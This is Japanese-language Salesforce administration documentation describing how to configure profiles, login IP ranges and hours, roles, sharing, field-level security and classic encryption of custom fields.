1. [設定] から、[クイック検索] ボックスに「プロファイル」と入力し、[プロファ

イル] を選択します。
2. プロファイルを選択し、その名前をクリックします。
3. [プロファイルの概要] ページで [ログイン IP アドレスの制限] をクリックしま

す。
4. プロファイルに対して許可する IP アドレスを指定します。

• ユーザがログインできる IP アドレスの範囲を追加するには、[IP 範囲の追
加] をクリックします。有効な IP アドレスを [開始 IP アドレス] に、そ
れより番号が大きい IP アドレスを [終了 IP アドレス] 項目に入力しま
す。1 つの IP アドレスからのログインのみを許可するには、両方の項目に
同じアドレスを入力します。

• 範囲を編集または削除するには、その範囲の[編集]または[削除]をクリッ
クします。

重要:

• 範囲を指定する IP アドレスは、IPv4 であるか、または IPv6 である必要
があります。範囲では、IPv4 アドレスは、IPv4 射影 IPv6 アドレス空間
である ::ffff:0:0 から ::ffff:ffff:ffff に存在しま
す。::ffff:0:0 は 0.0.0.0、::ffff:ffff:ffff は
255.255.255.255. に対応します。範囲には、IPv4 射影 IPv6 アドレ
ス空間内外の両方の IP アドレスを含めることはできません。たとえ
ば、255.255.255.255から ::1:0:0:0または ::から ::1:0:0:0

の範囲は許可されません。
• パートナーユーザプロファイルの IP アドレスは 5 個に制限されてい

ます。この制限を緩和するには、Salesforce にお問い合わせください。

5. 必要に応じて、範囲の説明を入力します。複数の範囲を管理する場合は、[説
明] 項目を使用して、ネットワークのどの部分がこの範囲に対応するかなど
の詳細を入力します。

メモ: さらに、Salesforce へのアクセスを [ログイン IP アドレスの制限] の IP に
のみ制限することができます。このオプションを有効にするには、[設定]

から [クイック検索]ボックスに「セッションの設定」と入力し、[セッショ
ンの設定]を選択し、[すべての要求でログイン IP アドレスの制限を適用]を
選択します。このオプションは、ログイン IP アドレスが制限されたすべて
のユーザプロファイルに影響します。
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元のプロファイルインターフェースの使用

エディション

使用可能なインター
フェース: Salesforce Classic
(使用できない組織もあり
ます) および Lightning
Experience

使用可能なエディション:
Essentials Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

カスタムプロファイルを
使用可能なエディション:
Essentials Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

元のプロファイルページでプロファイルを表示するには、[設定] から [クイック
検索] ボックスに「プロファイル」と入力し、[プロファイル] を選択して目的の
プロファイルを選択します。
プロファイルの詳細ページでは、次の操作を実行できます。
• プロファイルを編集する
• このプロファイルに基づいてプロファイルを作成する
• カスタムプロファイルの場合のみ、[削除] をクリックしてプロファイルを削

除する

メモ: ユーザが無効な場合も含め、ユーザに割り当てられているプロ
ファイルは削除できません。

• このプロファイルに割り当てられたユーザを表示する

このセクションの内容:

元のプロファイルインターフェースでのプロファイルの編集
プロファイルは、オブジェクトおよびデータへのユーザによるアクセスや、
アプリケーション内で実行可能な操作を定義します。標準プロファイルで
は、制限された数の設定を編集できます。カスタムプロファイルでは、ユー
ザライセンス以外の、使用可能なすべての権限と設定を編集できます。
元のプロファイルユーザインターフェースでのログイン時間帯の表示と編集
ユーザプロファイルに基づいてユーザがログインできる時間帯を指定しま
す。
元のプロファイルユーザインターフェースでのログイン IP アドレスの制限
ユーザのプロファイルで許可される IP アドレス範囲を指定することによって、ユーザレベルでログインア
クセスを制御します。プロファイルに IP アドレス制限を定義すると、その他のすべての IP アドレスからの
ログインは拒否されます。
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元のプロファイルインターフェースでのプロファイルの編集

エディション

使用可能なインター
フェース: Salesforce Classic
(使用できない組織もあり
ます) および Lightning
Experience

使用可能なエディション:
Essentials Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

カスタムプロファイルを
使用可能なエディション:
Essentials Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

プロファイルのアプリ
ケーションおよびシステ
ム権限を編集する
• 「プロファイルと権限

セットの管理」

プロファイルのアプリ
ケーション、システム、
オブジェクト、および項
目権限を編集する
• 「プロファイルと権限

セットの管理」

および

「アプリケーションの
カスタマイズ」

プロファイルは、オブジェクトおよびデータへのユーザによるアクセスや、ア
プリケーション内で実行可能な操作を定義します。標準プロファイルでは、制
限された数の設定を編集できます。カスタムプロファイルでは、ユーザライセ
ンス以外の、使用可能なすべての権限と設定を編集できます。

メモ: 一部の権限を編集すると、他の権限が有効または無効になることが
あります。たとえば、「すべてのデータの参照」を有効にすると、すべて
のオブジェクトの「参照」が有効になります。同様に、「リード所有権の
移行」を有効にすると、リードの「参照」および「作成」が有効になりま
す。

ヒント: 組織で拡張プロファイルリストビューが有効になっている場合、
リストビューから複数のプロファイルの権限を変更できます。

1. [設定] から、[クイック検索]ボックスに「プロファイル」と入力し、[プロファ
イル] を選択します。

2. 変更するプロファイルを選択します。
3. プロファイルの詳細ページで、[編集] をクリックします。
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元のプロファイルユーザインターフェースでのログイン時間帯の表示と編集

エディション

使用可能なインター
フェース: Salesforce Classic
(使用できない組織もあり
ます) および Lightning
Experience

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

ユーザ権限

ログイン時間帯の制限を
設定する
• 「プロファイルと権限

セットの管理」

ユーザプロファイルに基づいてユーザがログインできる時間帯を指定します。
1. [設定] から、[クイック検索] ボックスに「プロファイル」と入力します。[プロ

ファイル] を選択して、プロファイルを選択します。
2. [ログイン時間帯の制限] 関連リストで、[編集] をクリックします。
3. このプロファイルを持つユーザが組織にログインできる曜日と時間帯を設定

します。
ユーザがいつでもログインできるようにするには、[すべての時刻を解除] を
クリックします。特定の曜日にユーザがログインできないようにするには、
開始時刻を [12 AM] に、終了時刻を [終業時間] に設定します。
ユーザがログインしている間にログイン時間帯が終了した場合、現在のペー
ジは引き続き表示できますが、他のアクションを実行することはできなくな
ります。

4. [保存] をクリックします。

メモ: 初めてプロファイルにログイン時間帯を設定したときは、[設定] の
[組織情報] ページで指定されている組織の [タイムゾーンのデフォルト値]

に基づいて時間が表示されます。その後、[組織情報] ページで指定されて
いる組織の [タイムゾーンのデフォルト値] が変更されても、プロファイル
のログイン時間帯のタイムゾーンは変更されません。ユーザが別のタイム
ゾーンにいる場合、または組織のデフォルトのタイムゾーンが変更された
場合でも、プロファイルのログイン時間帯は変わりません。
ログイン時間を参照しているか編集しているかによって、異なった時間が
表示されます。プロファイルの詳細ページでは、指定したタイムゾーンで
時間が表示されます。[ログイン時間帯の制限] 編集ページの時間帯は、組
織のデフォルトのタイムゾーンで表示されます。
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元のプロファイルユーザインターフェースでのログイン IP アドレスの制限

エディション

使用可能なインター
フェース: Salesforce Classic
(使用できない組織もあり
ます) および Lightning
Experience

使用可能なエディション:
すべてのエディション

ユーザ権限

ログイン IP アドレスの制
限を参照する
• 「設定・定義の参照」

ログイン IP アドレス範囲
の制限を編集および削除
する
• 「プロファイルと権限

セットの管理」

ユーザのプロファイルで許可される IP アドレス範囲を指定することによって、
ユーザレベルでログインアクセスを制御します。プロファイルに IP アドレス制
限を定義すると、その他のすべての IP アドレスからのログインは拒否されます。
1. Salesforce エディションによって、プロファイルに有効な IP アドレス範囲を制

限する方法が異なります。
• Enterprise Edition、Unlimited Edition、Performance Edition、または Developer Edition

を使用している場合は、[設定] から [クイック検索]ボックスに「プロファ
イル」と入力し、[プロファイル] を選択して、プロファイルを選択しま
す。

• Group Edition または Personal Edition を使用している場合は、[設定] から [ク
イック検索]ボックスに「セッションの設定」と入力し、[セッションの設
定] を選択します。

• Professional Edition では、IP 範囲の場所は、[プロファイルの編集 & ページレ
イアウト] 組織設定がアドオン機能として有効になっているかどうかに応
じて異なります。
[プロファイルの編集 & ページレイアウト] 組織設定が有効になっている場
合、IP 範囲は個々のプロファイルにあります。
[プロファイルの編集 & ページレイアウト] 組織設定が有効になっていない
場合、IP 範囲は [セッションの設定] ページにあります。

2. [ログイン IP アドレスの制限] 関連リストの [新規] をクリックします。
3. 有効な IP アドレスを [開始 IP アドレス]項目に入力し、開始 IP アドレスより大きな数値のアドレスを [終

了 IP アドレス] 項目に入力します。
開始アドレスと終了アドレスは、ユーザのログインを許可する IP アドレスの範囲を定義します。1 つの IP

アドレスからのログインのみを許可するには、両方の項目に同じアドレスを入力します。
• 範囲を指定する IP アドレスは、IPv4 であるか、または IPv6 である必要があります。範囲では、IPv4 アド

レスは、IPv4 射影 IPv6 アドレス空間である ::ffff:0:0 から ::ffff:ffff:ffff に存在しま
す。::ffff:0:0は 0.0.0.0、::ffff:ffff:ffffは 255.255.255.255.に対応します。範囲には、
IPv4 射影 IPv6 アドレス空間内外の両方の IP アドレスを含めることはできません。たとえば、
255.255.255.255 から ::1:0:0:0 または :: から ::1:0:0:0 の範囲は許可されません。

• パートナーユーザプロファイルの IP アドレスは 5 個に制限されています。この制限を緩和するには、
Salesforce にお問い合わせください。

4. 必要に応じて、範囲の説明を入力します。複数の範囲を管理する場合、説明項目を使用して、ネットワー
クのどの部分がこの範囲に対応するかなど、詳細を入力します。

5. [保存] をクリックします。

メモ: 静的リソースのキャッシュ設定は、ゲストユーザのプロファイルが IP 範囲またはログイン時間に基
づいて制限されている Salesforce サイトを介してアクセスする場合は、非公開に設定されます。ゲストユー
ザプロファイル制限のあるサイトでは、ブラウザ内でのみ静的リソースをキャッシュします。また、以
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前は無制限であったサイトに制限が設定されると、Salesforce キャッシュおよび中間キャッシュから静的リ
ソースが解放されるまでに最大 45 日かかる場合があります。

メモ: さらに、Salesforce へのアクセスを [ログイン IP アドレスの制限] の IP にのみ制限することができま
す。このオプションを有効にするには、[設定] から [クイック検索]ボックスに「セッションの設定」と入
力し、[セッションの設定]を選択し、[すべての要求でログイン IP アドレスの制限を適用]を選択します。
このオプションは、ログイン IP アドレスが制限されたすべてのユーザプロファイルに影響します。
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プロファイルリストの管理

エディション

使用可能なインター
フェース: Salesforce Classic
(使用できない組織もあり
ます) および Lightning
Experience

使用可能なエディション:
Essentials Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

カスタムプロファイルを
使用可能なエディション:
Essentials Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

プロファイルを表示し、
プロファイルリストを印
刷する
• 「設定・定義の参照」

プロファイルリスト
ビューを削除する
• 「プロファイルと権限

セットの管理」

カスタムプロファイルを
削除する
• 「プロファイルと権限

セットの管理」

プロファイルは、オブジェクトおよびデータへのユーザによるアクセス方法や、
アプリケーション内で実行可能な操作を定義します。ユーザの作成時に、各ユー
ザにプロファイルを割り当てます。組織でプロファイルを表示するには、[設定]

から、[クイック検索]ボックスに「プロファイル」と入力し、[プロファイル]を
選択します。

拡張プロファイルの一覧表示
組織で拡張プロファイルリストビューが有効になっている場合は、追加のツー
ルを使用して、プロファイルリストのカスタマイズ、移動、管理、および印刷
を行うことができます。
• ドロップダウンリストからビューを選択することにより、プロファイルの条

件設定済みリストを表示する。
• ドロップダウンリストからビューを選択し、[削除] をクリックして、ビュー

を削除する。
• リストビューを作成するか既存のビューを編集する。
• プロファイルを作成する。
• をクリックして、リストビューを印刷する。
• をクリックして、ビューを作成または編集した後にリストビューを更新

する。
• リストビューで権限を直接編集する。
• プロファイル名をクリックしてプロファイルを参照または編集する。
• プロファイル名の横にある [削除]をクリックするか、カスタムプロファイル

を削除する。

メモ: ユーザが無効な場合も含め、ユーザに割り当てられているプロ
ファイルは削除できません。

基本プロファイルの一覧表示
• プロファイルを作成する。
• プロファイル名をクリックしてプロファイルを参照または編集する。
• プロファイル名の横にある [削除]をクリックするか、カスタムプロファイル

を削除する。
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プロファイルリストビューを使用した複数のプロファイルの編集

エディション

使用可能なインター
フェース: Salesforce Classic
(使用できない組織もあり
ます) および Lightning
Experience

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

ユーザ権限

リストビューから複数の
プロファイルを編集する
• 「プロファイルと権限

セットの管理」

および

「アプリケーションの
カスタマイズ」

組織で拡張プロファイルリストビューが有効になっている場合は、個々のプロ
ファイルページにアクセスしなくても、直接リストビューから最大 200 件のプロ
ファイルの権限を変更できます。
編集可能なセルには、その上にマウスを置くと鉛筆アイコン ( ) が表示され、
編集できないセルの場合は、錠アイコン ( ) が表示されます。標準プロファイ
ルでは、鉛筆アイコンが表示されても実際には設定が編集できない場合があり
ます。

警告: この方法でプロファイルを編集するときには注意してください。プ
ロファイルはユーザの基本的なアクセスに影響するため、一括変更を行う
と、組織内のユーザに対し広範囲の影響を及ぼす可能性があります。

1. 編集するプロファイルまたは権限を含むリストビューを選択または作成しま
す。

2. 複数のプロファイルを編集するには、編集する各ユーザの横にあるチェック
ボックスをオンにします。
複数のページでプロファイルを選択すると、選択したプロファイルは Salesforce

に記憶されます。
3. 編集する権限をダブルクリックします。

複数のプロファイルの場合は、選択したプロファイルのいずれかにある権限
をダブルクリックします。

4. 表示されるダイアログボックスで、その権限を有効または無効にします。
ある権限を変更すると、その他の権限も変更される場合があります。たとえ
ば、「アプリケーションのカスタマイズ」および「設定・定義を参照する」
が無効な場合、「アプリケーションのカスタマイズ」を有効にすると、「設定・定義を参照する」も有効
になります。この場合は、ダイアログボックスに影響を受ける権限が一覧表示されます。

5. 複数のプロファイルを変更するには、[選択した n件のすべてのレコード] (nは選択したプロファイル数) を
選択します。

6. [保存] をクリックします。

メモ:

• 標準プロファイルの場合は、「シングルサインオン」および「ディビジョンの使用」権限でのみイン
ライン編集が使用できます。

• 複数のプロファイルを編集する場合は、変更権限のあるプロファイルのみが変更されます。たとえ
ば、インライン編集を使用して複数のプロファイルに「すべてのデータの編集」を追加する場合、そ
のプロファイルに「すべてのデータの編集」が設定されていないユーザライセンスでは、プロファイ
ルは変更されません。

エラーが発生した場合は、エラーメッセージにエラーがあった各プロファイルとエラーの説明が表示されま
す。プロファイル名をクリックすると、プロファイルの詳細ページが表示されます。クリックしたプロファイ
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ルは、エラーウィンドウにグレーの取消線の付いたテキストで表示されます。エラーコンソールを表示するに
は、Salesforce ドメインに対するポップアップブロッカーを無効にする必要があります。
すべての変更が、設定変更履歴に記録されます。

クローンプロファイルを作成する

エディション

使用可能なインター
フェース: Salesforce Classic
(使用できない組織もあり
ます) および Lightning
Experience

使用可能なエディション:
Essentials Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

カスタムプロファイルを
使用可能なエディション:
Essentials Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

プロファイルを作成する
• 「プロファイルと権限

セットの管理」

API を使用すれば、カスタムプロファイルを作成したり、既存のプロファイルを
コピーしてビジネスニーズに合わせてカスタマイズしたりできます。

ヒント: プロファイルをコピーして特定の権限またはアクセス設定を有効
にする場合は、権限セットの使用を検討します。詳細は、「権限セット」
を参照してください。また、プロファイル名に複数の単語が含まれる場合
は、余分なスペースを挿入しないようにします。たとえば、「Acme User」
と「Acme   User」は、「Acme」と「User」間のスペース数のみが異なります。
両方のプロファイルを使用すると、システム管理者とユーザが混乱する可
能性があります。

標準の権限が含まれていない空のカスタムプロファイルを作成するには、Profile

SOAP API オブジェクトを使用します。[プロファイル] 設定ページで、カスタムプ
ロファイルを作成するには、まず既存のプロファイルをコピーする必要があり
ます。
1. プロファイルをコピーするには、[設定] の [クイック検索] ボックスに「プロ

ファイル」と入力し、[プロファイル] を選択します。
2. [プロファイル] リストペインで、次のいずれかを実行します。

• [新規プロファイル]をクリックし、作成するプロファイルと似た既存のプ
ロファイルを選択します。

• 拡張プロファイルリストビューが有効な場合、作成するプロファイルに
似たプロファイルの横にある [コピー] をクリックします。

• 作成するプロファイルと似たプロファイルの名前をクリックし、プロファ
イルページで [コピー] をクリックします。

新しいプロファイルでは、コピー元のプロファイルと同じユーザライセンス
が使用されます。

3. プロファイル名を入力します。
4. [保存] をクリックします。
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プロファイルの割り当てられたユーザの表示

エディション

使用可能なインター
フェース: Salesforce Classic
(使用できない組織もあり
ます) および Lightning
Experience

使用可能なエディション:
Essentials Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

カスタムプロファイルを
使用可能なエディション:
Essentials Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

プロファイルの概要ページからプロファイルに割り当てられたすべてのユーザ
を表示するには、[割り当て済みユーザ] (拡張プロファイルユーザインターフェー
ス) または[このプロファイルに属するユーザの参照] (元のプロファイルユーザイ
ンターフェース) をクリックします。割り当てられたユーザのページから、次の
操作が可能です。
• 1 人以上のユーザを作成する
• 選択したユーザのパスワードをリセットする
• ユーザを編集する
• 名前、別名、またはユーザ名をクリックしてユーザの詳細ページを参照する
• プロファイル名をクリックしてプロファイルを表示または編集する
• Google Apps™ が組織で有効な場合、[Google Apps にエクスポート] をクリック

し、ユーザを Google にエクスポートして Google Apps アカウントを作成する
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権限セットとプロファイルでのタブ設定の表示と編集

エディション

使用可能なインター
フェース: Salesforce Classic
(使用できない組織もあり
ます)

タブ設定を使用可能なエ
ディション: Database.com
を除くすべてのエディ
ション

権限セットを使用可能な
エディション: Contact
Manager Edition、
Professional Edition、
Group Edition、Enterprise
Edition、Performance
Edition、Unlimited Edition、
Developer Edition、および
Database.com Edition

プロファイルを使用可能
なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

ユーザ権限

タブ設定を参照する
• 「設定・定義の参照」

タブ設定を編集する
• 「プロファイルと権限

セットの管理」

タブ設定はタブが [すべてのタブ] ページに表示されるか、タブセットで表示可
能かどうかを指定します。
1. [設定] から、次のいずれかの操作を実行します。

• [クイック検索]ボックスに「権限セット」と入力し、[権限セット]を選択
する

• [クイック検索]ボックスに「プロファイル」と入力し、[プロファイル]を
選択する

2. 権限セットまたはプロファイルを選択します。
3. 次のいずれかの操作を実行します。

• 権限セットまたは拡張プロファイルユーザインターフェース — [設定の検
索...] ボックスに、必要なタブの名前を入力し、リストからそのタブを選
択して、[編集] をクリックします。

• 元のプロファイルユーザインターフェース — [編集] をクリックし、[タブ
の設定] セクションまでスクロールします。

4. タブ設定を指定します。
5. (元のプロファイルユーザインターフェースのみ) ユーザのタブのカスタマイ

ズを自分が指定するタブ表示設定にリセットするには、[各ユーザの「マイ
ディスプレイのカスタマイズ」に変更を反映させる] を選択します。

6. [保存] をクリックします。

メモ: 組織で Salesforce CRM Content が有効化されている場合でも、ユーザ詳
細ページの [Salesforce CRM Content ユーザ] チェックボックスをオンにして
いなければ、Salesforce CRM Content アプリケーションにタブは表示されませ
ん。
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プロファイルでのカスタム権限の有効化

エディション

使用可能なインター
フェース: Salesforce Classic
(使用できない組織もあり
ます) および Lightning
Experience の両方

使用可能なエディション:
Essentials Edition、Group
Edition、Professional
Edition、Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

Group Edition および
Professional Edition 組織で
は、カスタム権限の作
成、編集は実行できませ
んが、管理パッケージの
一部としてカスタム権限
をインストールできま
す。

ユーザ権限

プロファイルでカスタム
権限を有効にする
• 「プロファイルと権限

セットの管理」

カスタム権限により、カスタムプロセスまたはカスタムアプリケーションへの
アクセス権を付与できます。カスタム権限を作成し、プロセスまたはアプリケー
ションに関連付けたら、プロファイルで権限を有効にできます。
1. [設定] から、[クイック検索]ボックスに「プロファイル」と入力し、[プロファ

イル] を選択します。
2. プロファイルを選択します。
3. 使用しているユーザインターフェースに応じて、次のいずれかの操作を実行

します。
• 拡張プロファイルユーザインターフェース: [カスタム権限] をクリックし

て、[編集] をクリックします。
• 元のプロファイルユーザインターフェース: [有効化されたカスタム権限]

関連リストで [編集] をクリックします。

4. カスタム権限を有効にするには、[利用可能なカスタム権限] リストで権限を
選択し、[追加] をクリックします。プロファイルからカスタム権限を削除す
るには、[有効化されたカスタム権限] リストから権限を選択して [削除] をク
リックします。

5. [保存] をクリックします。
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ユーザロールの作成
エディション

使用可能なインター
フェース: Salesforce Classic
(使用できない組織もあり
ます) および Lightning
Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

ロールおよびロール階層
を表示する
• 「ロールおよびロール

階層を表示」

ロールを作成、編集、お
よび削除する
• 「ロールの管理」

ユーザにロールを割り当
てる
• 「内部ユーザの管理」

Salesforce にはユーザロール階層があり、共有設定と併用して Salesforce 組織のデー
タに対するユーザのアクセスレベルを決定できます。階層内のロールは、レコー
ドやレポートなどの主要コンポーネントへのアクセスに影響を与えます。
どのロールレベルのユーザも、ロール階層で自分より下位のユーザが所有また
は共有するすべてのデータの参照、編集、およびレポート作成を行うことがで
きます。ただし、オブジェクトに対する組織の共有モデルで他の方法が指定さ
れている場合は除きます。具体的には、[組織の共有設定] 関連リストで、カスタ
ムオブジェクトの[階層を使用したアクセス許可]オプションを無効にできます。
無効にすると、レコード所有者と組織の共有設定によってアクセスを許可され
たユーザのみが、そのオブジェクトのレコードにアクセスできるようになりま
す。
1. [設定] の [クイック検索] ボックスに「ロール」と入力し、[ロール]を選択しま

す。
2. [ロールの理解] ページが表示されたら、[ロールの設定] をクリックします。
3. 新しいロールの追加先の上位ロールを見つけます。[ロールの追加] をクリッ

クします。
4. ロールの表示ラベルを追加します。[ロール名] 項目は自動入力されます。
5. このロールの上位ロールを指定します。新しいロールの追加先の上位ロール

の名前がこの項目にすでに入力されていますが、ここでその値を編集するこ
ともできます。

6. 必要に応じて、レポートにロール名がどのように表示されるかを指定しま
す。ロール名が長い場合は、レポートで略語を使用することを考慮します。

7. 取引先責任者、商談、ケースへのロールのアクセス権を指定します。
たとえば、取引先責任者の所有者に関係なく、ロールのユーザが自分が所有
する取引先に関連付けられたすべての取引先責任者を編集できるように、取
引先責任者へのアクセス権を設定できます。さらに、商談の所有者に関係なく、ロールのユーザが自分が
所有する取引先に関連付けられたすべての商談を編集できるように、商談へのアクセス権を設定できます。

8. [保存] をクリックします。

メモ: フォルダをロールと共有すると、そのロールのユーザのみが参照可能になり、階層の上位のロール
には表示されません。

オブジェクトと項目の共有

選択されたグループまたはプロファイルに、特定のオブジェクトまたは項目へのアクセス権を付与します。
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このセクションの内容:

項目レベルセキュリティ
項目レベルセキュリティを設定して、特定の項目を参照および編集するユーザのアクセス権限を制限でき
ます。
共有ルール
共有ルールを使用して、公開グループ、ロール、またはテリトリー内のユーザへの共有アクセス権を拡張
します。共有ルールでは、組織全体の共有設定に自動的な例外を設けて、特定のユーザにより強いアクセ
ス権を付与します。
ユーザ共有
ユーザ共有では、内部ユーザまたは外部ユーザを組織内の別のユーザから表示または非表示にできます。
グループとは?

グループは一連のユーザで構成されます。グループには、個々のユーザ、その他のグループ、または特定
のロールやテリトリーのユーザを含めることができます。あるいは、特定のロールやテリトリーのユーザ
と、階層でそのロールやテリトリーよりも下位のすべてのユーザを含めることができます。
共有の直接設定
共有の直接設定を使用して、取引先、取引先責任者、リードなどの特定の種類のレコードへのアクセスを
他の特定のユーザに許可できます。
組織の共有設定
組織の共有設定を使用して、オブジェクトのレコードに対するデフォルトのアクセス権を定義できます。
組織の共有設定は、カスタムオブジェクトや多くの標準オブジェクトに対して個別に設定できます。また、
内部ユーザと外部ユーザに異なるアクセスレベルを設定できます。

項目レベルセキュリティ
エディション

使用可能なインター
フェース: Salesforce Classic
(使用できない組織もあり
ます) および Lightning
Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

項目レベルセキュリティを設定して、特定の項目を参照および編集するユーザ
のアクセス権限を制限できます。
Salesforce 組織には多くのデータが含まれていますが、すべてのユーザが全部の
項目にアクセスできるようにする必要はありません。たとえば、給与担当マネー
ジャは、給与の項目にアクセスできる従業員を限定するでしょう。ユーザアク
セスは次の場所で制限できます。
• 詳細ページと編集ページ
• 関連リスト
• リストビュー
• レポート
• Connect Offline

• メールと差し込み印刷テンプレート
• カスタムリンク
• パートナーポータル
• Salesforce カスタマーポータル
• 同期済みデータ
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• インポート済みデータ
ページレイアウトと項目レベルセキュリティ設定によって、ユーザに表示される項目が決まります。この 2 つ
の設定のうち、制限が厳しい方のアクセス設定が項目に適用されます。たとえば、ページレイアウトでは必須
だが、項目レベルセキュリティ設定では参照のみになっている項目があるとします。項目レベルセキュリティ
によってページレイアウトは上書きされるため、この項目は参照のみになります。
項目レベルセキュリティは、次のいずれかの方法で定義できます。
• 1 つの権限セットまたはプロファイルの複数の項目の場合
• すべてのプロファイルの 1 つの項目の場合
項目レベルセキュリティを設定すると、次の操作を実行できます。
• ページレイアウトを作成して、詳細ページや編集ページの項目を整理する。
• 項目へのユーザのアクセス権を項目アクセス許可を見て確認する。
• 検索レイアウトをカスタマイズして、検索結果、ルックアップダイアログの検索結果、およびタブのホー

ムページの主要リストに表示される項目を設定する。項目レベルセキュリティで保護されていない項目を
非表示にするには、レイアウトから省略します。

メモ: 積み上げ集計項目と数式項目は、詳細ページでは参照のみであり、編集ページにはありません。こ
れらの項目は、ユーザが参照できない項目を参照しますが、ユーザに表示することもできます。Einstein

インサイトは、ユーザが参照できない項目を参照しますが、ユーザに表示することもできます。必須項
目は、項目レベルセキュリティに関係なく編集ページに表示されます。
リレーショングループウィザードでは、項目レベルセキュリティに関係なくリレーショングループの作
成や編集ができます。

このセクションの内容:

権限セットとプロファイルでの項目権限の設定
項目権限によって、オブジェクトの各項目へのアクセス権が指定されます。
すべてのプロファイルの項目の項目レベルセキュリティの設定
項目権限
項目権限によって、オブジェクトの各項目へのアクセス権が指定されます。権限セットと拡張プロファイ
ルユーザインターフェースでは、設定の表示ラベルが元のプロファイルユーザインターフェースや項目を
カスタマイズするための項目レベルのセキュリティページとは異なります。
カスタム項目の従来の暗号化
非公開にしておくカスタムテキスト項目を他の Salesforce ユーザが参照できないようにします。暗号化され
たカスタムテキスト項目のデータを参照できるのは、「暗号化されたデータの参照」権限を持つユーザの
みです。
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権限セットとプロファイルでの項目権限の設定

エディション

使用可能なインター
フェース: Salesforce Classic
(使用できない組織もあり
ます) および Lightning
Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

ユーザ権限

項目レベルセキュリティ
を設定する
• 「プロファイルと権限

セットの管理」

および

「アプリケーションの
カスタマイズ」

項目権限によって、オブジェクトの各項目へのアクセス権が指定されます。
1. [設定] から、[クイック検索] ボックスに「権限セット」と入力し、[権限セッ

ト] を選択するか、[クイック検索] ボックスに「プロファイル」と入力して
[プロファイル] を選択します。

2. 権限セットまたはプロファイルを選択します。
3. 使用しているインターフェースに応じて、次のいずれかの操作を実行しま

す。
• 権限セットまたは拡張プロファイルユーザインターフェース — [設定の検

索...] ボックスに、必要なオブジェクトの名前を入力し、リストからその
オブジェクトを選択します。[編集]をクリックし、[項目権限] セクション
にスクロールします。

• 元のプロファイルユーザインターフェース — [項目レベルセキュリティ]

セクションで、変更するオブジェクトの横にある [表示] をクリックして
から、[編集] をクリックします。

4. 項目のアクセスレベルを指定します。
5. [保存] をクリックします。
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すべてのプロファイルの項目の項目レベルセキュリティの設定

エディション

使用可能なインター
フェース: Salesforce Classic
(使用できない組織もあり
ます)

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

項目レベルセキュリティ
を設定する
• 「プロファイルと権限

セットの管理」

および

「アプリケーションの
カスタマイズ」

1. [設定] から [オブジェクトマネージャ] を開き、[クイック検索] ボックスに項
目が含まれるオブジェクトの名前を入力します。

2. オブジェクトを選択し、[項目とリレーション] をクリックします。
3. 変更する項目を選択します。
4. [項目レベルセキュリティの設定] をクリックします。
5. 項目のアクセスレベルを指定します。
6. 変更内容を保存します。

項目権限

エディション

使用可能なインター
フェース: Salesforce Classic
(使用できない組織もあり
ます) および Lightning
Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

項目権限によって、オブジェクトの各項目へのアクセス権が指定されます。権
限セットと拡張プロファイルユーザインターフェースでは、設定の表示ラベル
が元のプロファイルユーザインターフェースや項目をカスタマイズするための
項目レベルのセキュリティページとは異なります。

元のプロファイルイン
ターフェースや項目レベ
ルのセキュリティイン
ターフェースで有効な設
定

権限セットと拡張プロ
ファイルユーザインター
フェースで有効な設定

アクセスレベル

参照可能[参照] と [編集]ユーザは項目を参照し、
編集できる。

[参照可能]と [参照のみ]参照ユーザは項目を参照でき
るが編集できない。

なしなしユーザは項目の参照、編
集ができない。
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カスタム項目の従来の暗号化

エディション

使用可能なインター
フェース: Salesforce Classic
と Lightning Experience の
両方

使用可能なエディション:
Developer Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Database.com Edition

非公開にしておくカスタムテキスト項目を他の Salesforce ユーザが参照できない
ようにします。暗号化されたカスタムテキスト項目のデータを参照できるのは、
「暗号化されたデータの参照」権限を持つユーザのみです。
暗号化カスタム項目を使用する前に、次の「実装メモ」、「制限」、「ベスト
プラクティス」をお読みください。

実装メモ
• 暗号化項目は 128 ビットの主鍵で暗号化され、Advanced Encryption Standard (AES)

アルゴリズムを使用しています。主暗号化鍵は、アーカイブ、削除、および
インポートできます。主暗号化鍵管理を有効にするには、Salesforce までお問
い合わせください。

• メールテンプレートに暗号化項目を使用することはできますが、その値は
「暗号化されたデータの参照」権限の有無に関係なく常にマスクされます。

• 「暗号化されたデータの参照」権限を持っている場合に他のユーザにログインアクセスを許可すると、そ
のユーザは暗号化された項目をプレーンテキストで参照できます。

• レコードをコピーするときに暗号化項目の値をコピーできるのは、「暗号化されたデータの参照」権限を
持っているユーザのみです。

